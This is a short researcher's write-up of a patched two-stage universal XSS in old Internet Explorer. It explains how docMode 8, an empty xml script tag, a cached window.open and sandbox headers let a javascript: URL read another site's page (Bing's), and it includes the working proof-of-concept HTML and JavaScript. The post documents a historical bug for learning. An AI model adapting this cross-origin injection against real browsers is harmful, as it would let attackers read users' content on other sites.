UXSS: X-Content-Security-Policy Sandbox + Cached window.open + xml Script Tag

This was a two-stage UXSS. The first bug: a page running in docMode 8 with an empty <script language="xml"> tag had its window.open method accessible even after navigating to a URL protected by X-Content-Security-Policy: sandbox headers. The second bug: reloading that sandboxed page caused a server redirect to the actual target domain while IE still treated the window as sandbox-origin, and the cached window.open could inject a javascript: URL into it.

docmode8.html:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
<script language="xml"></script>

<input type="button"
  onclick="opener.cachedOpen = window.open; location = 'xcontent.aspx'; opener.setTimeout('accessWindow()', 3000);"
  value="Do it!"/>

index.html (opener):

function main()
{
	window.open("docmode8.html", "", "width=400, height=400");
}

function accessWindow()
{
	cachedOpen("javascript:alert(document.URL + '\n\n' + document.body.innerText)", "_top");
}

The flow:

1. Open docmode8.html (docMode 8 with the xml language script tag, which was key to preserving the method reference across navigations).
2. The new window caches its own window.open into opener.cachedOpen and then navigates to xcontent.aspx.
3. xcontent.aspx sends X-Content-Security-Policy: sandbox headers — sandboxing that window’s origin.
4. accessWindow() fires: cachedOpen("javascript:...", "_top") — the cached method executes the javascript: URL in the sandboxed window’s context.
5. On a second load, the server redirects to Bing. The window is still considered the sandbox origin, but the content is now Bing’s — and the javascript: execution reads Bing’s document.body.innerText.

The empty <script language="xml"> was necessary; without it, the method caching across the navigation didn’t preserve the right execution context.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.